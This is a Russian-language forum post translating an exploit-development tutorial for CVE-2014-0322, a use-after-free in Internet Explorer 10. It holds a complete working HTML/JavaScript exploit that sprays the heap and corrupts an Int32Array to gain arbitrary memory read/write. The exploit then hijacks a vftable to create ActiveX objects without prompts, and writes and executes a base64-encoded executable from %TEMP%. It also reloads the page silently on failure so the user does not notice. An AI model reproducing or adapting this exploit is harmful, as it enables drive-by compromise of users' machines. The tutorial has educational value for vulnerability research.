Перейти к содержанию
Пока мы зависим от WinDbg для изменения длины Int32Array, чтобы получить полный доступ для чтения-записи к адресному пространству процесса IE. Пришла пора выбрать UAF, чтобы завершить наш эксплойт.
Я выбрал UAF с кодом CVE-2014-0322. Вы можете использовать Google для поиска дополнительной информации. Вот POC, который производит crash:
Скопируйте этот код в файл HTML и откройте его в IE 10. Если Вы сделаете это, Вы обнаружите, что IE не падает. Что случилось?Code:<!-- CVE-2014-0322 --> <html> <head> </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>
GFlags
В каталоге WinDbg мы можем найти gflags.exe - это утилита, которая может использоваться, чтобы изменить Global Flags Windows. Эти флаги влияют на поведение Windows и могут быть очень полезными во время отладки. Нам особенно интересны два флага:
- 1. HPA – Heap Page Allocator
- 2. UST – User mode Stack Trace
Флаг HPA говорит Windows использовать специальную версию heap allocator'а, это бывает полезно при обнаружении UAF, переполнений буфера и других видов ошибок. Аллокатор выделяет каждый блок в отдельном наборе непрерывных страниц (сколько - зависит от длины блока) так, чтобы конец блока совпал с концом последней страницы. Первая страница после выделенного блока отмечена как not present (не существующая). Таким образом обнаруживаются переполнения буфера. Кроме того, когда блок освобождается, все страницы, содержащие его, отмечаются как not present. Так обнаруживаются UAF.
Посмотрите на следующее изображение:
Страница = 0x1000 байт = 4 Кбайта. Если выделенный блок меньше чем 4 Кбайта, его размер может быть определен из его адреса простой формулой:
Эта формула работает, потому что блок выделен в конце содержащей его страницы. Взгляните на следующее изображение:Code:size (addr) = 0x1000 - (addr & 0xfff)
Второй флаг, UST, говорит Windows сохранять трассировку текущего стека каждый раз, когда блок "кучи" выделен или освобожден. Это бывает полезно, чтобы видеть, какая функция и путь выполнения ведут к определенному выделению или освобождению памяти. Это хорошо будет видно на примере анализа ошибки UAF.
Глобальные флаги могут быть изменены или глобально, или для конкретного файла. Нам нужно включить флаги HPA и UST только для iexplore.exe.
Запустите gflags.exe, перейдите к вкладке Image File, вставьте название exe-файла и выберите два флага, как проиллюстрировано на следующем изображении:
Получаем crash
Теперь загрузите POC в IE, и Вы должны получить crash. Если мы сделаем то же при отладке IE в WinDbg, мы увидим, какая инструкция генерирует исключение:
Похоже, что ESI - висячий указатель.Code:6b900fc4 e83669e6ff call MSHTML!CTreePos::SourceIndex (6b7678ff) 6b900fc9 8d45a8 lea eax,[ebp-58h] 6b900fcc 50 push eax 6b900fcd 8bce mov ecx,esi 6b900fcf c745a804000000 mov dword ptr [ebp-58h],4 6b900fd6 c745c400000000 mov dword ptr [ebp-3Ch],0 6b900fdd c745ac00000000 mov dword ptr [ebp-54h],0 6b900fe4 c745c028000000 mov dword ptr [ebp-40h],28h 6b900feb c745b400000000 mov dword ptr [ebp-4Ch],0 6b900ff2 c745b000000000 mov dword ptr [ebp-50h],0 6b900ff9 c745b8ffffffff mov dword ptr [ebp-48h],0FFFFFFFFh 6b901000 c745bcffffffff mov dword ptr [ebp-44h],0FFFFFFFFh 6b901007 e80162e6ff call MSHTML!CMarkup::Notify (6b76720d) 6b90100c ff4678 inc dword ptr [esi+78h] ds:002b:0e12dd38=???????? <--------------------- 6b90100f 838e6001000004 or dword ptr [esi+160h],4 6b901016 8bd6 mov edx,esi 6b901018 e8640b0600 call MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81) 6b90101d 8b8698000000 mov eax,dword ptr [esi+98h] 6b901023 85c0 test eax,eax 6b901025 7416 je MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d) 6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h 6b901031 7c0a jl MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d) 6b901033 8b4008 mov eax,dword ptr [eax+8] 6b901036 83a0f0020000bf and dword ptr [eax+2F0h],0FFFFFFBFh 6b90103d 8d7dd8 lea edi,[ebp-28h]
Вот трассировка стека:
Давайте определим размер (теперь освобожденного) объекта:Code:0:007> k 10 ChildEBP RetAddr 0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266 0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169 0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d 0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e 0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c 0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454 0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8 0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4 0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36 0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7 0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55 0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4 0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305 WARNING: Frame IP not in any known module. Following frames may be wrong. 0a10c0c0 0c1764ff 0x9ee0fe1 0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57
Конечно, мы предполагаем, что размер объекта меньше, чем 0x1000. Вот пример трассировки стека, доступной благодаря флагу UST:Code:0:007> ? 1000 - (@esi & fff) Evaluate expression: 832 = 00000340
Это доказывает, что ESI - действительно висячий указатель. Имена функций предполагают, что объект освобожден при выполнении присвоенияCode:0:007> !heap -p -a @esi address 0e12dcc0 found in _DPH_HEAP_ROOT @ 141000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) e2d0b94: e12d000 2000 733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2 772b1564 ntdll!RtlDebugFreeHeap+0x0000002f 7726ac29 ntdll!RtlpFreeHeap+0x0000005d 772134a2 ntdll!RtlFreeHeap+0x00000142 74f414ad kernel32!HeapFree+0x00000014 6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026 6b7455da MSHTML!CBase::SubRelease+0x0000002e 6b774183 MSHTML!CMarkup::Release+0x0000002d 6bb414d1 MSHTML!InjectHtmlStream+0x00000716 6bb41567 MSHTML!HandleHTMLInjection+0x00000082 6bb3cfec MSHTML!CElement::InjectInternal+0x00000506 6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4 6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d <---------------------------------- 6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054 <--------------------- 0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185 0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf 0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8 0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf 0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305
в функциональном обработчике. Это означает, что мы должны выделить новый объект поверх старого в памяти прямо после того присвоения. Мы уже видели, как ошибки UAF могут быть использованы, в главе exploitme5 (Распыление "кучи" & UAF), и я не буду повторять теорию снова.Code:this.outerHTML = this.outerHTML;
Нам нужно выделить объект того же размера, что и освобожденный объект. Так новый объект будет выделен по тем же адресам. Мы знаем, что размер объекта - 0x340 байт, таким образом, мы можем создать null-teerminated Unicode строку размером 0x340/2 – 1 = 0x19f = 415 wchars.
В первую очередь, давайте точно определим точное место отказа:
Исключение сгенерировано в mshtml + 0x22100c. Теперь закройте WinDbg и IE, запустите их снова, откройте POC в IE и поместите брейкпоинт на точку crash в WinDbg:Code:0:007> !address @eip Mapping file section regions... Mapping module regions... Mapping PEB regions... Mapping TEB and stack regions... Mapping heap regions... Mapping page heap regions... Mapping other regions... Mapping stack trace database regions... Mapping activation context regions... Usage: Image Base Address: 6c4a1000 End Address: 6d0ef000 Region Size: 00c4e000 State: 00001000 MEM_COMMIT Protect: 00000020 PAGE_EXECUTE_READ Type: 01000000 MEM_IMAGE Allocation Base: 6c4a0000 Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY Image Path: C:\Windows\system32\MSHTML.dll Module Name: MSHTML Loaded Image Name: C:\Windows\system32\MSHTML.dll Mapped Image Name: More info: lmv m MSHTML More info: !lmi MSHTML More info: ln 0x6c6c100c More info: !dh 0x6c4a0000 0:007> ? @eip-mshtml Evaluate expression: 2232332 = 0022100c
Теперь разрешите заблокированный контент в IE, и брейк должен сработать прежде, чем будет сгенерировано исключение. Это было просто. Но так бывает не всегда. Иногда одна и та же часть кода выполняется сотни раз, прежде чем исключение будет сгенерировано.Code:bp mshtml + 0x22100c
Теперь мы можем попытаться выделить новый объект правильного размера. Давайте изменим POC следующим образом:
Отметьте хороший трюк, чтобы создать строку с 415 "a"!Code:<!-- CVE-2014-0322 --> <html> <head> </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; elem = document.createElement("div"); elem.className = new Array(416).join("a"); // Nice trick to generate a string with 415 "a" } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>
Прежде чем открыть POC в IE, мы должны отключить флаги HPA и UST (UST не проблема, но давайте отключим и его):
Теперь давайте вновь откроем POC в IE, поместим брейкпоинт в mshtml + 0x22100c и посмотрим, что произойдет:
Отлично! ESI указывает на наш объект (0x61 - код символа "а"), и теперь мы можем взять под свой контроль поток выполнения. Наша цель состоит в том, чтобы достигнуть такой инструкции, которая запишет 0x20 по адресу 0x0c0af01b. Вы должны знать этот адрес наизусть к настоящему времени!
Вы могли бы задаться вопросом, зачем мы присваиваем строку свойству className элемента DOM. Обратите внимание на то, что мы не пишем
Когда мы присваиваем elem.className строку, строка копируется, и копия присваевается свойству элемента DOM. Оказывается, копия строки выделяется в той же "куче", где находился объект, который был освобожден из-за ошибки UAF. Например, при попытке выделить ArrayBuffer размером 0x340 байт, это не сработает, потому что необработанный буфер для ArrayBuffer будет выделен в другой "куче".Code:var str = new Array(416).join("a");
Управление потоком выполнения
Следующий шагом мы должны увидеть, сможем ли мы достигнуть подходящей инструкции, чтобы произвести запись в память по произвольному адресу. Снова будем использовать IDA. Я не могу не сказать еще раз, насколько IDA полезна.
Мы определили адрес crash как mshtml + 0x22100c. Это означает, что мы
должны дизассемблировать библиотеку mshtml.dll. Давайте приступим:
Теперь давайте откроем эту .dll в IDA и, когда она попросит, давайте позволим IDA загружать символы из сервера Microsoft. Перейдем к View>Open subviews>Segments. Мы можем определить базовый адрес mshtml:Code:0:016> lmf m mshtml start end module name 6b6e0000 6c491000 MSHTML C:\Windows\system32\MSHTML.dll
Как мы видим, базовый адрес - 0x63580000. Теперь закройте вкладку Program Segmentation, нажмите g и введите 0x63580000+0x22100c. Вы должны оказаться в области crash.
Давайте начнем анализ:
Значение [esi+98h] должно быть не 0, потому что наша строка не может содержать нулевые wchars (они завершили бы строку преждевременно). Из-за этого выполнение достигает второго узла, где [esi+1a4h] сравнивается с 15f90h. Мы можем установить [esi+1a4h] = 11111h так, чтобы третий узел был пропущен, и легко избежать crash'a, и мы можем сделать так, чтобы [eax+2f0h] перезаписывался.
Теперь давайте посмотрим на функцию ?UpdateMarkupContentsVersion:
Картинка должно быть достаточно понятна. Есть важный момент, который нужно понять. Мы знаем, что Int32Array, длину которого мы хотим изменить, находится по адресу 0xc0af000, но мы не управляем значениями по этому адресу. Мы знаем, однако, что значение в 0xc0af01c - адрес необработанного буфера, связанного с Int32Array. Обратите внимание на то, что мы не знаем адрес необработанного буфера, но мы знаем, что можем найти этот адрес в 0xc0af01c. Теперь мы должны удостовериться, что dword по смещению 1c0h в необработанном буфере равен 0. К сожалению, необработанный буфер - только 0x58 байт. Помните, что мы не можем выделить более крупный необработанный буфер, потому что у него должен быть тот же самый размер LargeHeapBlock. Но есть простое решение: выделите больше необработанных буферов!
Давайте суммировать наше расположение памяти:
Мы должны внести несколько изменений в наш файл HTML.Code:Object size = 0x340 = 832 offset: value 94h: 0c0af010h (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0) 0ach: 0c0af00bh (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh]) 1a4h: 11111h (X = [obj_addr+1a4h] = 11111h < 15f90h)
Во-первых, мы добавляем код для вызова UAF и берем под свой контроль поток выполнения:
Затем, мы должны создать еще 4 ArrayBuffer, как мы уже обсудили:Code:function getFiller(n) { return new Array(n+1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000); } function handler() { this.outerHTML = this.outerHTML; // Object size = 0x340 = 832 // offset: value // 94h: 0c0af010h // (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0) // 0ach: 0c0af00bh // (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh]) // 1a4h: 11111h // (X = [obj_addr+1a4h] = 11111h < 15f90h) elem = document.createElement("div"); elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); }
Добавив еще 4 ArrayBuffers, мы также должны изменить код, который вычисляет адрес первого необработанного буфера:Code:a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte ArrayBuffer (buf2) // 8-byte header | 0x58-byte ArrayBuffer (buf3) // 8-byte header | 0x58-byte ArrayBuffer (buf4) // 8-byte header | 0x58-byte ArrayBuffer (buf5) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) { buf = new ArrayBuffer(0x58); // must be exactly 0x58! buf2 = new ArrayBuffer(0x58); // must be exactly 0x58! buf3 = new ArrayBuffer(0x58); // must be exactly 0x58! buf4 = new ArrayBuffer(0x58); // must be exactly 0x58! buf5 = new ArrayBuffer(0x58); // must be exactly 0x58! } for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; }
В основном мы поменяли int32array[0x60*N/4] на int32array[0x60* (N+4)/4], чтобы добавить дополнительные 4 необработанных буфера после исходного необработанного буфера. Кроме того, последняя строкаCode:// This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // ... we added four more raw buffers ... // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60*5/4], vftptr2 = int32array[0x60*6/4], vftptr3 = int32array[0x60*7/4], nextPtr1 = int32array[(0x60*5+0x24)/4], nextPtr2 = int32array[(0x60*6+0x24)/4], nextPtr3 = int32array[(0x60*7+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { // alert("Error 1!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*6;
была изменена наCode:buf_addr = nextPtr1 - 0x60 * 2
по той же причине.Code:buf_addr = nextPtr1 - 0x60 * (2 + 4)
Иногда я замечал сбои SaveToFile, поэтому я решил перезагружать страницу, когда это происходит:
Вот полный код:Code:function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } . . . if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; }
Как обычно, я убрал часть runcalc. Вы можете загрузить весь код отсюда: code4.Code:<html> <head> <script language="javascript"> function getFiller(n) { return new Array(n+1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000); } function handler() { this.outerHTML = this.outerHTML; // Object size = 0x340 = 832 // offset: value // 94h: 0c0af010h // (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0) // 0ach: 0c0af00bh // (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh]) // 1a4h: 11111h // (X = [obj_addr+1a4h] = 11111h < 15f90h) elem = document.createElement("div"); elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } (function() { // alert("Starting!"); CollectGarbage(); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte ArrayBuffer (buf2) // 8-byte header | 0x58-byte ArrayBuffer (buf3) // 8-byte header | 0x58-byte ArrayBuffer (buf4) // 8-byte header | 0x58-byte ArrayBuffer (buf5) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) { buf = new ArrayBuffer(0x58); // must be exactly 0x58! buf2 = new ArrayBuffer(0x58); // must be exactly 0x58! buf3 = new ArrayBuffer(0x58); // must be exactly 0x58! buf4 = new ArrayBuffer(0x58); // must be exactly 0x58! buf5 = new ArrayBuffer(0x58); // must be exactly 0x58! } for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x300 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20). for (var k = 0; k < 0x20; ++k) trigger(); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x300; i < 0x300 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { // alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // ... we added four more raw buffers ... // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60*5/4], vftptr2 = int32array[0x60*6/4], vftptr3 = int32array[0x60*7/4], nextPtr1 = int32array[(0x60*5+0x24)/4], nextPtr2 = int32array[(0x60*6+0x24)/4], nextPtr3 = int32array[(0x60*7+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { // alert("Error 1!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*6; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { // alert("Error 2!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 jscript9 = read(0x0c0af000) - 0x3b60; // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { // alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); mshtml = read(addr + 0x10) - 0x58b9a; // vftable // +-----> +------------------+ // | | | // | | | // | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 | // | | | MOV EAX,ESI | POP ESI | RETN" // | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4" // | +------------------+ // object | // EAX ---> +-------------------+ | // | vftptr |-----+ // | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN" // | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN" // | jscript9+0xdc361 | --> "LEAVE | RET 4" // +-------------------+ var old = read(mshtml+0xc555e0+0x14); write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On! var shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God Mode Off! addr = get_addr(ActiveXObject); var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object var old_objptr = read(pp_obj); var old_vftptr = read(old_objptr); // Create the new vftable. var new_vftable = new Int32Array(0x708/4); for (var i = 0; i < new_vftable.length; ++i) new_vftable[i] = read(old_vftptr + i*4); new_vftable[0x10/4] = jscript9+0x10705e; new_vftable[0x14/4] = jscript9+0xdc164; var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable // Create the new object. var new_object = new Int32Array(4); new_object[0] = new_vftptr; new_object[1] = jscript9 + 0x15f800; new_object[2] = jscript9 + 0xf3baf; new_object[3] = jscript9 + 0xdc361; var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object function GodModeOn() { write(pp_obj, new_objptr); } function GodModeOff() { write(pp_obj, old_objptr); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); // alert("All done!"); })(); </script> </head> <body> </body> </html>
Загрузите страницу в IE через SimpleServer и все должно сработать как надо! Этот эксплойт обладает отличной переносимостью. По факту, когда IE падает, потому что что-то не так с багом UAF, IE перегружает страницу. Пользователь видит, что что-то случилось, но не придает этому значения. Действительные падения браузера случаются редко.
Internet Explorer 10 32-bit and 64-bit
Есть две версии IE10 - 32-битная и 64-битная. Этот эксплойт работает на обеих, т.к. если модуль iexplore.exe, связанный с главным окном, отличается (может быть и 32-битным и 64-битным), модуль iexplore.exe, связанный со вкладками является 32-битным в обоих случаях. Вы можете проверить это через Windows Task Manager.
Перевод: dreamseller











Reply With Quote
Thanks